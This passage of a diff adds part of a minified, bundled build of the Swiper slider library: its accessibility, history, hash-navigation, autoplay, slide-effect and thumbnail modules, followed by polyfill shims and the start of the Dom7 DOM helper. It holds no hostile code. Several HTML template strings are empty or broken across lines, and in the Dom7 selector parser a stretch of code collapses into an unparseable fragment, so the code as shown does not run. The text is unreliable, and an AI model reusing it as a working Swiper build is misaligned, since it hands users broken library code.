t.a11y.disableEl(r) + } else { + t.a11y.enableEl(r) + } + } + if (n && n.length > 0) { + if (t.isEnd) { + t.a11y.disableEl(n) + } else { + t.a11y.enableEl(n) + } + } + }, + updatePagination: function e() { + var t = this; + var i = t.params.a11y; + if (t.pagination && t.params.pagination.clickable && t.pagination.bullets && t.pagination.bullets.length) { + t.pagination.bullets.each(function (e, n) { + var r = (0, y.$)(n); + t.a11y.makeElFocusable(r); + t.a11y.addElRole(r, "button"); + t.a11y.addElLabel(r, i.paginationBulletMessage.replace(/{{index}}/, r.index() + 1)) + }) + } + }, + init: function e() { + var t = this; + t.$el.append(t.a11y.liveRegion); + var i = t.params.a11y; + var n = void 0; + var r = void 0; + if (t.navigation && t.navigation.$nextEl) { + n = t.navigation.$nextEl + } + if (t.navigation && t.navigation.$prevEl) { + r = t.navigation.$prevEl + } + if (n) { + t.a11y.makeElFocusable(n); + t.a11y.addElRole(n, "button"); + t.a11y.addElLabel(n, i.nextSlideMessage); + n.on("keydown", t.a11y.onEnterKey) + } + if (r) { + t.a11y.makeElFocusable(r); + t.a11y.addElRole(r, "button"); + t.a11y.addElLabel(r, i.prevSlideMessage); + r.on("keydown", t.a11y.onEnterKey) + } + if (t.pagination && t.params.pagination.clickable && t.pagination.bullets && t.pagination.bullets.length) { + t.pagination.$el.on("keydown", "." + t.params.pagination.bulletClass, t.a11y.onEnterKey) + } + }, + destroy: function e() { + var t = this; + if (t.a11y.liveRegion && t.a11y.liveRegion.length > 0) t.a11y.liveRegion.remove(); + var i = void 0; + var n = void 0; + if (t.navigation && t.navigation.$nextEl) { + i = t.navigation.$nextEl + } + if (t.navigation && t.navigation.$prevEl) { + n = t.navigation.$prevEl + } + if (i) { + i.off("keydown", t.a11y.onEnterKey) + } + if (n) { + n.off("keydown", t.a11y.onEnterKey) + } + if (t.pagination && t.params.pagination.clickable && t.pagination.bullets && t.pagination.bullets.length) { + t.pagination.$el.off("keydown", "." + t.params.pagination.bulletClass, t.a11y.onEnterKey) + } + } + }; + var ft = { + name: "a11y", + params: { + a11y: { + enabled: true, + notificationClass: "swiper-notification", + prevSlideMessage: "Previous slide", + nextSlideMessage: "Next slide", + firstSlideMessage: "This is the first slide", + lastSlideMessage: "This is the last slide", + paginationBulletMessage: "Go to slide {{index}}" + } + }, + create: function e() { + var t = this; + k.extend(t, { + a11y: { + liveRegion: (0, y.$)('') + } + }); + (0, g.default)(dt).forEach(function (e) { + t.a11y[e] = dt[e].bind(t) + }) + }, + on: { + init: function e() { + var t = this; + if (!t.params.a11y.enabled) return; + t.a11y.init(); + t.a11y.updateNavigation() + }, + toEdge: function e() { + var t = this; + if (!t.params.a11y.enabled) return; + t.a11y.updateNavigation() + }, + fromEdge: function e() { + var t = this; + if (!t.params.a11y.enabled) return; + t.a11y.updateNavigation() + }, + paginationUpdate: function e() { + var t = this; + if (!t.params.a11y.enabled) return; + t.a11y.updatePagination() + }, + destroy: function e() { + var t = this; + if (!t.params.a11y.enabled) return; + t.a11y.destroy() + } + } + }; + var ct = { + init: function e() { + var t = this; + if (!t.params.history) return; + if (!b.window.history || !b.window.history.pushState) { + t.params.history.enabled = false; + t.params.hashNavigation.enabled = true; + return + } + var i = t.history; + i.initialized = true; + i.paths = ct.getPathValues(); + if (!i.paths.key && !i.paths.value) return; + i.scrollToSlide(0, i.paths.value, t.params.runCallbacksOnInit); + if (!t.params.history.replaceState) { + b.window.addEventListener("popstate", t.history.setHistoryPopState) + } + }, + destroy: function e() { + var t = this; + if (!t.params.history.replaceState) { + b.window.removeEventListener("popstate", t.history.setHistoryPopState) + } + }, + setHistoryPopState: function e() { + var t = this; + t.history.paths = ct.getPathValues(); + t.history.scrollToSlide(t.params.speed, t.history.paths.value, false) + }, + getPathValues: function e() { + var t = b.window.location.pathname.slice(1).split("/").filter(function (e) { + return e !== "" + }); + var i = t.length; + var n = t[i - 2]; + var r = t[i - 1]; + return { + key: n, + value: r + } + }, + setHistory: function e(t, i) { + var n = this; + if (!n.history.initialized || !n.params.history.enabled) return; + var r = n.slides.eq(i); + var a = ct.slugify(r.attr("data-history")); + if (!b.window.location.pathname.includes(t)) { + a = t + "/" + a + } + var s = b.window.history.state; + if (s && s.value === a) { + return + } + if (n.params.history.replaceState) { + b.window.history.replaceState({ + value: a + }, null, a) + } else { + b.window.history.pushState({ + value: a + }, null, a) + } + }, + slugify: function e(t) { + return t.toString().toLowerCase().replace(/\s+/g, "-").replace(/[^\w-]+/g, "").replace(/--+/g, "-").replace(/^-+/, "").replace(/-+$/, "") + }, + scrollToSlide: function e(t, i, n) { + var r = this; + if (i) { + for (var a = 0, s = r.slides.length; a < s; a += 1) { + var o = r.slides.eq(a); + var l = ct.slugify(o.attr("data-history")); + if (l === i && !o.hasClass(r.params.slideDuplicateClass)) { + var u = o.index(); + r.slideTo(u, t, n) + } + } + } else { + r.slideTo(0, t, n) + } + } + }; + var ht = { + name: "history", + params: { + history: { + enabled: false, + replaceState: false, + key: "slides" + } + }, + create: function e() { + var t = this; + k.extend(t, { + history: { + init: ct.init.bind(t), + setHistory: ct.setHistory.bind(t), + setHistoryPopState: ct.setHistoryPopState.bind(t), + scrollToSlide: ct.scrollToSlide.bind(t), + destroy: ct.destroy.bind(t) + } + }) + }, + on: { + init: function e() { + var t = this; + if (t.params.history.enabled) { + t.history.init() + } + }, + destroy: function e() { + var t = this; + if (t.params.history.enabled) { + t.history.destroy() + } + }, + transitionEnd: function e() { + var t = this; + if (t.history.initialized) { + t.history.setHistory(t.params.history.key, t.activeIndex) + } + } + } + }; + var mt = { + onHashCange: function e() { + var t = this; + var i = b.document.location.hash.replace("#", ""); + var n = t.slides.eq(t.activeIndex).attr("data-hash"); + if (i !== n) { + var r = t.$wrapperEl.children("." + t.params.slideClass + '[data-hash="' + i + '"]').index(); + if (typeof r === "undefined") return; + t.slideTo(r) + } + }, + setHash: function e() { + var t = this; + if (!t.hashNavigation.initialized || !t.params.hashNavigation.enabled) return; + if (t.params.hashNavigation.replaceState && b.window.history && b.window.history.replaceState) { + b.window.history.replaceState(null, null, "#" + t.slides.eq(t.activeIndex).attr("data-hash") || "") + } else { + var i = t.slides.eq(t.activeIndex); + var n = i.attr("data-hash") || i.attr("data-history"); + b.document.location.hash = n || "" + } + }, + init: function e() { + var t = this; + if (!t.params.hashNavigation.enabled || t.params.history && t.params.history.enabled) return; + t.hashNavigation.initialized = true; + var i = b.document.location.hash.replace("#", ""); + if (i) { + var n = 0; + for (var r = 0, a = t.slides.length; r < a; r += 1) { + var s = t.slides.eq(r); + var o = s.attr("data-hash") || s.attr("data-history"); + if (o === i && !s.hasClass(t.params.slideDuplicateClass)) { + var l = s.index(); + t.slideTo(l, n, t.params.runCallbacksOnInit, true) + } + } + } + if (t.params.hashNavigation.watchState) { + (0, y.$)(b.window).on("hashchange", t.hashNavigation.onHashCange) + } + }, + destroy: function e() { + var t = this; + if (t.params.hashNavigation.watchState) { + (0, y.$)(b.window).off("hashchange", t.hashNavigation.onHashCange) + } + } + }; + var pt = { + name: "hash-navigation", + params: { + hashNavigation: { + enabled: false, + replaceState: false, + watchState: false + } + }, + create: function e() { + var t = this; + k.extend(t, { + hashNavigation: { + initialized: false, + init: mt.init.bind(t), + destroy: mt.destroy.bind(t), + setHash: mt.setHash.bind(t), + onHashCange: mt.onHashCange.bind(t) + } + }) + }, + on: { + init: function e() { + var t = this; + if (t.params.hashNavigation.enabled) { + t.hashNavigation.init() + } + }, + destroy: function e() { + var t = this; + if (t.params.hashNavigation.enabled) { + t.hashNavigation.destroy() + } + }, + transitionEnd: function e() { + var t = this; + if (t.hashNavigation.initialized) { + t.hashNavigation.setHash() + } + } + } + }; + var vt = { + run: function e() { + var t = this; + var i = t.slides.eq(t.activeIndex); + var n = t.params.autoplay.delay; + if (i.attr("data-swiper-autoplay")) { + n = i.attr("data-swiper-autoplay") || t.params.autoplay.delay + } + t.autoplay.timeout = k.nextTick(function () { + if (t.params.autoplay.reverseDirection) { + if (t.params.loop) { + t.loopFix(); + t.slidePrev(t.params.speed, true, true); + t.emit("autoplay") + } else if (!t.isBeginning) { + t.slidePrev(t.params.speed, true, true); + t.emit("autoplay") + } else if (!t.params.autoplay.stopOnLastSlide) { + t.slideTo(t.slides.length - 1, t.params.speed, true, true); + t.emit("autoplay") + } else { + t.autoplay.stop() + } + } else if (t.params.loop) { + t.loopFix(); + t.slideNext(t.params.speed, true, true); + t.emit("autoplay") + } else if (!t.isEnd) { + t.slideNext(t.params.speed, true, true); + t.emit("autoplay") + } else if (!t.params.autoplay.stopOnLastSlide) { + t.slideTo(0, t.params.speed, true, true); + t.emit("autoplay") + } else { + t.autoplay.stop() + } + }, n) + }, + start: function e() { + var t = this; + if (typeof t.autoplay.timeout !== "undefined") return false; + if (t.autoplay.running) return false; + t.autoplay.running = true; + t.emit("autoplayStart"); + t.autoplay.run(); + return true + }, + stop: function e() { + var t = this; + if (!t.autoplay.running) return false; + if (typeof t.autoplay.timeout === "undefined") return false; + if (t.autoplay.timeout) { + clearTimeout(t.autoplay.timeout); + t.autoplay.timeout = undefined + } + t.autoplay.running = false; + t.emit("autoplayStop"); + return true + }, + pause: function e(t) { + var i = this; + if (!i.autoplay.running) return; + if (i.autoplay.paused) return; + if (i.autoplay.timeout) clearTimeout(i.autoplay.timeout); + i.autoplay.paused = true; + if (t === 0 || !i.params.autoplay.waitForTransition) { + i.autoplay.paused = false; + i.autoplay.run() + } else { + i.$wrapperEl[0].addEventListener("transitionend", i.autoplay.onTransitionEnd); + i.$wrapperEl[0].addEventListener("webkitTransitionEnd", i.autoplay.onTransitionEnd) + } + } + }; + var _t = { + name: "autoplay", + params: { + autoplay: { + enabled: false, + delay: 3e3, + waitForTransition: true, + disableOnInteraction: true, + stopOnLastSlide: false, + reverseDirection: false + } + }, + create: function e() { + var t = this; + k.extend(t, { + autoplay: { + running: false, + paused: false, + run: vt.run.bind(t), + start: vt.start.bind(t), + stop: vt.stop.bind(t), + pause: vt.pause.bind(t), + onTransitionEnd: function e(i) { + if (!t || t.destroyed || !t.$wrapperEl) return; + if (i.target !== this) return; + t.$wrapperEl[0].removeEventListener("transitionend", t.autoplay.onTransitionEnd); + t.$wrapperEl[0].removeEventListener("webkitTransitionEnd", t.autoplay.onTransitionEnd); + t.autoplay.paused = false; + if (!t.autoplay.running) { + t.autoplay.stop() + } else { + t.autoplay.run() + } + } + } + }) + }, + on: { + init: function e() { + var t = this; + if (t.params.autoplay.enabled) { + t.autoplay.start() + } + }, + beforeTransitionStart: function e(t, i) { + var n = this; + if (n.autoplay.running) { + if (i || !n.params.autoplay.disableOnInteraction) { + n.autoplay.pause(t) + } else { + n.autoplay.stop() + } + } + }, + sliderFirstMove: function e() { + var t = this; + if (t.autoplay.running) { + if (t.params.autoplay.disableOnInteraction) { + t.autoplay.stop() + } else { + t.autoplay.pause() + } + } + }, + destroy: function e() { + var t = this; + if (t.autoplay.running) { + t.autoplay.stop() + } + } + } + }; + var gt = { + setTranslate: function e() { + var t = this; + var i = t.slides; + for (var n = 0; n < i.length; n += 1) { + var r = t.slides.eq(n); + var a = r[0].swiperSlideOffset; + var s = -a; + if (!t.params.virtualTranslate) s -= t.translate; + var o = 0; + if (!t.isHorizontal()) { + o = s; + s = 0 + } + var l = t.params.fadeEffect.crossFade ? Math.max(1 - Math.abs(r[0].progress), 0) : 1 + Math.min(Math.max(r[0].progress, -1), 0); + r.css({ + opacity: l + }).transform("translate3d(" + s + "px, " + o + "px, 0px)") + } + }, + setTransition: function e(t) { + var i = this; + var n = i.slides, + r = i.$wrapperEl; + n.transition(t); + if (i.params.virtualTranslate && t !== 0) { + var a = false; + n.transitionEnd(function () { + if (a) return; + if (!i || i.destroyed) return; + a = true; + i.animating = false; + var e = ["webkitTransitionEnd", "transitionend"]; + for (var t = 0; t < e.length; t += 1) { + r.trigger(e[t]) + } + }) + } + } + }; + var yt = { + name: "effect-fade", + params: { + fadeEffect: { + crossFade: false + } + }, + create: function e() { + var t = this; + k.extend(t, { + fadeEffect: { + setTranslate: gt.setTranslate.bind(t), + setTransition: gt.setTransition.bind(t) + } + }) + }, + on: { + beforeInit: function e() { + var t = this; + if (t.params.effect !== "fade") return; + t.classNames.push(t.params.containerModifierClass + "fade"); + var i = { + slidesPerView: 1, + slidesPerColumn: 1, + slidesPerGroup: 1, + watchSlidesProgress: true, + spaceBetween: 0, + virtualTranslate: true + }; + k.extend(t.params, i); + k.extend(t.originalParams, i) + }, + setTranslate: function e() { + var t = this; + if (t.params.effect !== "fade") return; + t.fadeEffect.setTranslate() + }, + setTransition: function e(t) { + var i = this; + if (i.params.effect !== "fade") return; + i.fadeEffect.setTransition(t) + } + } + }; + var bt = { + setTranslate: function e() { + var t = this; + var i = t.$el, + n = t.$wrapperEl, + r = t.slides, + a = t.width, + s = t.height, + o = t.rtlTranslate, + l = t.size; + var u = t.params.cubeEffect; + var d = t.isHorizontal(); + var f = t.virtual && t.params.virtual.enabled; + var c = 0; + var h = void 0; + if (u.shadow) { + if (d) { + h = n.find(".swiper-cube-shadow"); + if (h.length === 0) { + h = (0, y.$)('
'); + n.append(h) + } + h.css({ + height: a + "px" + }) + } else { + h = i.find(".swiper-cube-shadow"); + if (h.length === 0) { + h = (0, y.$)('
'); + i.append(h) + } + } + } + for (var m = 0; m < r.length; m += 1) { + var p = r.eq(m); + var v = m; + if (f) { + v = parseInt(p.attr("data-swiper-slide-index"), 10) + } + var _ = v * 90; + var g = Math.floor(_ / 360); + if (o) { + _ = -_; + g = Math.floor(-_ / 360) + } + var b = Math.max(Math.min(p[0].progress, 1), -1); + var w = 0; + var M = 0; + var k = 0; + if (v % 4 === 0) { + w = -g * 4 * l; + k = 0 + } else if ((v - 1) % 4 === 0) { + w = 0; + k = -g * 4 * l + } else if ((v - 2) % 4 === 0) { + w = l + g * 4 * l; + k = l + } else if ((v - 3) % 4 === 0) { + w = -l; + k = 3 * l + l * 4 * g + } + if (o) { + w = -w + } + if (!d) { + M = w; + w = 0 + } + var L = "rotateX(" + (d ? 0 : -_) + "deg) rotateY(" + (d ? _ : 0) + "deg) translate3d(" + w + "px, " + M + "px, " + k + "px)"; + if (b <= 1 && b > -1) { + c = v * 90 + b * 90; + if (o) c = -v * 90 - b * 90 + } + p.transform(L); + if (u.slideShadows) { + var T = d ? p.find(".swiper-slide-shadow-left") : p.find(".swiper-slide-shadow-top"); + var x = d ? p.find(".swiper-slide-shadow-right") : p.find(".swiper-slide-shadow-bottom"); + if (T.length === 0) { + T = (0, y.$)('
'); + p.append(T) + } + if (x.length === 0) { + x = (0, y.$)('
'); + p.append(x) + } + if (T.length) T[0].style.opacity = Math.max(-b, 0); + if (x.length) x[0].style.opacity = Math.max(b, 0) + } + } + n.css({ + "-webkit-transform-origin": "50% 50% -" + l / 2 + "px", + "-moz-transform-origin": "50% 50% -" + l / 2 + "px", + "-ms-transform-origin": "50% 50% -" + l / 2 + "px", + "transform-origin": "50% 50% -" + l / 2 + "px" + }); + if (u.shadow) { + if (d) { + h.transform("translate3d(0px, " + (a / 2 + u.shadowOffset) + "px, " + -a / 2 + "px) rotateX(90deg) rotateZ(0deg) scale(" + u.shadowScale + ")") + } else { + var S = Math.abs(c) - Math.floor(Math.abs(c) / 90) * 90; + var Y = 1.5 - (Math.sin(S * 2 * Math.PI / 360) / 2 + Math.cos(S * 2 * Math.PI / 360) / 2); + var D = u.shadowScale; + var E = u.shadowScale / Y; + var C = u.shadowOffset; + h.transform("scale3d(" + D + ", 1, " + E + ") translate3d(0px, " + (s / 2 + C) + "px, " + -s / 2 / E + "px) rotateX(-90deg)") + } + } + var P = Le.isSafari || Le.isUiWebView ? -l / 2 : 0; + n.transform("translate3d(0px,0," + P + "px) rotateX(" + (t.isHorizontal() ? 0 : c) + "deg) rotateY(" + (t.isHorizontal() ? -c : 0) + "deg)") + }, + setTransition: function e(t) { + var i = this; + var n = i.$el, + r = i.slides; + r.transition(t).find(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").transition(t); + if (i.params.cubeEffect.shadow && !i.isHorizontal()) { + n.find(".swiper-cube-shadow").transition(t) + } + } + }; + var wt = { + name: "effect-cube", + params: { + cubeEffect: { + slideShadows: true, + shadow: true, + shadowOffset: 20, + shadowScale: .94 + } + }, + create: function e() { + var t = this; + k.extend(t, { + cubeEffect: { + setTranslate: bt.setTranslate.bind(t), + setTransition: bt.setTransition.bind(t) + } + }) + }, + on: { + beforeInit: function e() { + var t = this; + if (t.params.effect !== "cube") return; + t.classNames.push(t.params.containerModifierClass + "cube"); + t.classNames.push(t.params.containerModifierClass + "3d"); + var i = { + slidesPerView: 1, + slidesPerColumn: 1, + slidesPerGroup: 1, + watchSlidesProgress: true, + resistanceRatio: 0, + spaceBetween: 0, + centeredSlides: false, + virtualTranslate: true + }; + k.extend(t.params, i); + k.extend(t.originalParams, i) + }, + setTranslate: function e() { + var t = this; + if (t.params.effect !== "cube") return; + t.cubeEffect.setTranslate() + }, + setTransition: function e(t) { + var i = this; + if (i.params.effect !== "cube") return; + i.cubeEffect.setTransition(t) + } + } + }; + var Mt = { + setTranslate: function e() { + var t = this; + var i = t.slides, + n = t.rtlTranslate; + for (var r = 0; r < i.length; r += 1) { + var a = i.eq(r); + var s = a[0].progress; + if (t.params.flipEffect.limitRotation) { + s = Math.max(Math.min(a[0].progress, 1), -1) + } + var o = a[0].swiperSlideOffset; + var l = -180 * s; + var u = l; + var d = 0; + var f = -o; + var c = 0; + if (!t.isHorizontal()) { + c = f; + f = 0; + d = -u; + u = 0 + } else if (n) { + u = -u + } + a[0].style.zIndex = -Math.abs(Math.round(s)) + i.length; + if (t.params.flipEffect.slideShadows) { + var h = t.isHorizontal() ? a.find(".swiper-slide-shadow-left") : a.find(".swiper-slide-shadow-top"); + var m = t.isHorizontal() ? a.find(".swiper-slide-shadow-right") : a.find(".swiper-slide-shadow-bottom"); + if (h.length === 0) { + h = (0, y.$)('
'); + a.append(h) + } + if (m.length === 0) { + m = (0, y.$)('
'); + a.append(m) + } + if (h.length) h[0].style.opacity = Math.max(-s, 0); + if (m.length) m[0].style.opacity = Math.max(s, 0) + } + a.transform("translate3d(" + f + "px, " + c + "px, 0px) rotateX(" + d + "deg) rotateY(" + u + "deg)") + } + }, + setTransition: function e(t) { + var i = this; + var n = i.slides, + r = i.activeIndex, + a = i.$wrapperEl; + n.transition(t).find(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").transition(t); + if (i.params.virtualTranslate && t !== 0) { + var s = false; + n.eq(r).transitionEnd(function e() { + if (s) return; + if (!i || i.destroyed) return; + s = true; + i.animating = false; + var t = ["webkitTransitionEnd", "transitionend"]; + for (var n = 0; n < t.length; n += 1) { + a.trigger(t[n]) + } + }) + } + } + }; + var kt = { + name: "effect-flip", + params: { + flipEffect: { + slideShadows: true, + limitRotation: true + } + }, + create: function e() { + var t = this; + k.extend(t, { + flipEffect: { + setTranslate: Mt.setTranslate.bind(t), + setTransition: Mt.setTransition.bind(t) + } + }) + }, + on: { + beforeInit: function e() { + var t = this; + if (t.params.effect !== "flip") return; + t.classNames.push(t.params.containerModifierClass + "flip"); + t.classNames.push(t.params.containerModifierClass + "3d"); + var i = { + slidesPerView: 1, + slidesPerColumn: 1, + slidesPerGroup: 1, + watchSlidesProgress: true, + spaceBetween: 0, + virtualTranslate: true + }; + k.extend(t.params, i); + k.extend(t.originalParams, i) + }, + setTranslate: function e() { + var t = this; + if (t.params.effect !== "flip") return; + t.flipEffect.setTranslate() + }, + setTransition: function e(t) { + var i = this; + if (i.params.effect !== "flip") return; + i.flipEffect.setTransition(t) + } + } + }; + var Lt = { + setTranslate: function e() { + var t = this; + var i = t.width, + n = t.height, + r = t.slides, + a = t.$wrapperEl, + s = t.slidesSizesGrid; + var o = t.params.coverflowEffect; + var l = t.isHorizontal(); + var u = t.translate; + var d = l ? -u + i / 2 : -u + n / 2; + var f = l ? o.rotate : -o.rotate; + var c = o.depth; + for (var h = 0, m = r.length; h < m; h += 1) { + var p = r.eq(h); + var v = s[h]; + var _ = p[0].swiperSlideOffset; + var g = (d - _ - v / 2) / v * o.modifier; + var b = l ? f * g : 0; + var w = l ? 0 : f * g; + var M = -c * Math.abs(g); + var k = l ? 0 : o.stretch * g; + var T = l ? o.stretch * g : 0; + if (Math.abs(T) < .001) T = 0; + if (Math.abs(k) < .001) k = 0; + if (Math.abs(M) < .001) M = 0; + if (Math.abs(b) < .001) b = 0; + if (Math.abs(w) < .001) w = 0; + var x = "translate3d(" + T + "px," + k + "px," + M + "px) rotateX(" + w + "deg) rotateY(" + b + "deg)"; + p.transform(x); + p[0].style.zIndex = -Math.abs(Math.round(g)) + 1; + if (o.slideShadows) { + var S = l ? p.find(".swiper-slide-shadow-left") : p.find(".swiper-slide-shadow-top"); + var Y = l ? p.find(".swiper-slide-shadow-right") : p.find(".swiper-slide-shadow-bottom"); + if (S.length === 0) { + S = (0, y.$)('
'); + p.append(S) + } + if (Y.length === 0) { + Y = (0, y.$)('
'); + p.append(Y) + } + if (S.length) S[0].style.opacity = g > 0 ? g : 0; + if (Y.length) Y[0].style.opacity = -g > 0 ? -g : 0 + } + } + if (L.pointerEvents || L.prefixedPointerEvents) { + var D = a[0].style; + D.perspectiveOrigin = d + "px 50%" + } + }, + setTransition: function e(t) { + var i = this; + i.slides.transition(t).find(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").transition(t) + } + }; + var Tt = { + name: "effect-coverflow", + params: { + coverflowEffect: { + rotate: 50, + stretch: 0, + depth: 100, + modifier: 1, + slideShadows: true + } + }, + create: function e() { + var t = this; + k.extend(t, { + coverflowEffect: { + setTranslate: Lt.setTranslate.bind(t), + setTransition: Lt.setTransition.bind(t) + } + }) + }, + on: { + beforeInit: function e() { + var t = this; + if (t.params.effect !== "coverflow") return; + t.classNames.push(t.params.containerModifierClass + "coverflow"); + t.classNames.push(t.params.containerModifierClass + "3d"); + t.params.watchSlidesProgress = true; + t.originalParams.watchSlidesProgress = true + }, + setTranslate: function e() { + var t = this; + if (t.params.effect !== "coverflow") return; + t.coverflowEffect.setTranslate() + }, + setTransition: function e(t) { + var i = this; + if (i.params.effect !== "coverflow") return; + i.coverflowEffect.setTransition(t) + } + } + }; + var xt = { + init: function e() { + var t = this; + var i = t.params.thumbs; + var n = t.constructor; + if (i.swiper instanceof n) { + t.thumbs.swiper = i.swiper; + k.extend(t.thumbs.swiper.originalParams, { + watchSlidesProgress: true, + slideToClickedSlide: false + }); + k.extend(t.thumbs.swiper.params, { + watchSlidesProgress: true, + slideToClickedSlide: false + }) + } else if (k.isObject(i.swiper)) { + t.thumbs.swiper = new n(k.extend({}, i.swiper, { + watchSlidesVisibility: true, + watchSlidesProgress: true, + slideToClickedSlide: false + })); + t.thumbs.swiperCreated = true + } + t.thumbs.swiper.$el.addClass(t.params.thumbs.thumbsContainerClass); + t.thumbs.swiper.on("tap", t.thumbs.onThumbClick) + }, + onThumbClick: function e() { + var t = this; + var i = t.thumbs.swiper; + if (!i) return; + var n = i.clickedIndex; + if (typeof n === "undefined" || n === null) return; + var r = void 0; + if (i.params.loop) { + r = parseInt((0, y.$)(i.clickedSlide).attr("data-swiper-slide-index"), 10) + } else { + r = n + } + if (t.params.loop) { + var a = t.activeIndex; + if (t.slides.eq(a).hasClass(t.params.slideDuplicateClass)) { + t.loopFix(); + t._clientLeft = t.$wrapperEl[0].clientLeft; + a = t.activeIndex + } + var s = t.slides.eq(a).prevAll('[data-swiper-slide-index="' + r + '"]').eq(0).index(); + var o = t.slides.eq(a).nextAll('[data-swiper-slide-index="' + r + '"]').eq(0).index(); + if (typeof s === "undefined") r = o; + else if (typeof o === "undefined") r = s; + else if (o - a < a - s) r = o; + else r = s + } + t.slideTo(r) + }, + update: function e(t) { + var i = this; + var n = i.thumbs.swiper; + if (!n) return; + var r = n.params.slidesPerView === "auto" ? n.slidesPerViewDynamic() : n.params.slidesPerView; + if (i.realIndex !== n.realIndex) { + var a = n.activeIndex; + var s = void 0; + if (n.params.loop) { + if (n.slides.eq(a).hasClass(n.params.slideDuplicateClass)) { + n.loopFix(); + n._clientLeft = n.$wrapperEl[0].clientLeft; + a = n.activeIndex + } + var o = n.slides.eq(a).prevAll('[data-swiper-slide-index="' + i.realIndex + '"]').eq(0).index(); + var l = n.slides.eq(a).nextAll('[data-swiper-slide-index="' + i.realIndex + '"]').eq(0).index(); + if (typeof o === "undefined") s = l; + else if (typeof l === "undefined") s = o; + else if (l - a < a - o) s = l; + else s = o + } else { + s = i.realIndex + } + if (n.visibleSlidesIndexes.indexOf(s) < 0) { + if (n.params.centeredSlides) { + if (s > a) { + s = s - Math.floor(r / 2) + 1 + } else { + s = s + Math.floor(r / 2) - 1 + } + } else if (s > a) { + s = s - r + 1 + } + n.slideTo(s, t ? 0 : undefined) + } + } + var u = 1; + var d = i.params.thumbs.slideThumbActiveClass; + if (i.params.slidesPerView > 1 && !i.params.centeredSlides) { + u = i.params.slidesPerView + } + n.slides.removeClass(d); + if (n.params.loop) { + for (var f = 0; f < u; f += 1) { + n.$wrapperEl.children('[data-swiper-slide-index="' + (i.realIndex + f) + '"]').addClass(d) + } + } else { + for (var c = 0; c < u; c += 1) { + n.slides.eq(i.realIndex + c).addClass(d) + } + } + } + }; + var St = { + name: "thumbs", + params: { + thumbs: { + swiper: null, + slideThumbActiveClass: "swiper-slide-thumb-active", + thumbsContainerClass: "swiper-container-thumbs" + } + }, + create: function e() { + var t = this; + k.extend(t, { + thumbs: { + swiper: null, + init: xt.init.bind(t), + update: xt.update.bind(t), + onThumbClick: xt.onThumbClick.bind(t) + } + }) + }, + on: { + beforeInit: function e() { + var t = this; + var i = t.params.thumbs; + if (!i || !i.swiper) return; + t.thumbs.init(); + t.thumbs.update(true) + }, + slideChange: function e() { + var t = this; + if (!t.thumbs.swiper) return; + t.thumbs.update() + }, + update: function e() { + var t = this; + if (!t.thumbs.swiper) return; + t.thumbs.update() + }, + resize: function e() { + var t = this; + if (!t.thumbs.swiper) return; + t.thumbs.update() + }, + observerUpdate: function e() { + var t = this; + if (!t.thumbs.swiper) return; + t.thumbs.update() + }, + setTransition: function e(t) { + var i = this; + var n = i.thumbs.swiper; + if (!n) return; + n.setTransition(t) + }, + beforeDestroy: function e() { + var t = this; + var i = t.thumbs.swiper; + if (!i) return; + if (t.thumbs.swiperCreated && i) { + i.destroy() + } + } + } + }; + var Yt = [Ie, Fe, ze, Re, We, qe, Ve, Xe, Ke, Ze, tt, nt, at, ot, ut, ft, ht, pt, _t, yt, wt, kt, Tt, St]; + if (typeof He.use === "undefined") { + He.use = He.Class.use; + He.installModule = He.Class.installModule + } + He.use(Yt); + t.default = He + }, function (e, t, i) { + e.exports = { + default: i(434), + __esModule: true + } + }, function (e, t, i) { + i(435); + var n = i(14).Object; + e.exports = function e(t, i) { + return n.getOwnPropertyDescriptor(t, i) + } + }, function (e, t, i) { + var n = i(31); + var r = i(113).f; + i(115)("getOwnPropertyDescriptor", function () { + return function e(t, i) { + return r(n(t), i) + } + }) + }, function (e, t, i) { + i(437); + e.exports = i(14).Object.keys + }, function (e, t, i) { + var n = i(62); + var r = i(48); + i(115)("keys", function () { + return function e(t) { + return r(n(t)) + } + }) + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.scroll = t.resize = t.touchmove = t.touchend = t.touchstart = t.mouseover = t.mouseout = t.mouseleave = t.mouseenter = t.mouseup = t.mousemove = t.mousedown = t.change = t.submit = t.keypress = t.keydown = t.keyup = t.focusout = t.focusin = t.focus = t.blur = t.click = t.stop = t.animate = t.scrollLeft = t.scrollTop = t.scrollTo = t.empty = t.add = t.detach = t.remove = t.children = t.find = t.closest = t.parents = t.parent = t.siblings = t.prevAll = t.prev = t.nextAll = t.next = t.insertAfter = t.insertBefore = t.prependTo = t.prepend = t.appendTo = t.append = t.eq = t.index = t.indexOf = t.is = t.text = t.html = t.map = t.filter = t.forEach = t.each = t.toArray = t.css = t.styles = t.show = t.hide = t.offset = t.outerHeight = t.height = t.outerWidth = t.width = t.animationEnd = t.transitionEnd = t.trigger = t.once = t.off = t.on = t.transition = t.transform = t.val = t.dataset = t.removeData = t.data = t.prop = t.removeAttr = t.attr = t.toggleClass = t.hasClass = t.removeClass = t.addClass = t.$ = undefined; + var n = i(158); + var r = d(n); + var a = i(58); + var s = d(a); + var o = i(1); + var l = d(o); + var u = i(159); + + function d(e) { + return e && e.__esModule ? e : { + default: e + } + } + var f = function e(t) { + (0, l.default)(this, e); + var i = this; + for (var n = 0; n < t.length; n += 1) { + i[n] = t[n] + } + i.length = t.length; + return this + }; + + function c(e, t) { + var i = []; + var n = 0; + if (e && !t) { + if (e instanceof f) { + return e + } + } + if (e) { + if (typeof e === "string") { + var r = void 0; + var a = void 0; + var s = e.trim(); + if (s.indexOf("<") >= 0 && s.indexOf(">") >= 0) { + var o = "div"; + if (s.indexOf(":~]/)) { + r = [u.document.getElementById(e.trim().split("#")[1])] + } else { + r = (t || u.document).querySelectorAll(e.trim()) + } + for (n = 0; n < r.length; n += 1) { + if (r[n]) i.push(r[n]) + } + } + } else if (e.nodeType || e === u.window || e === u.document) { + i.push(e) + } else if (e.length > 0 && e[0].nodeType) { + for (n = 0; n < e.length; n += 1) { + i.push(e[n]) + } + } + } + return new f(i) + } + c.fn = f.prototype; + c.Class = f; + c.Dom7 = f; + + function h(e) { + var t = []; + for (var i = 0; i < e.length; i += 1) { + if (t.indexOf(e[i]) === -1) t.push(e[i]) + } + return t + } + + function m(e) { + return 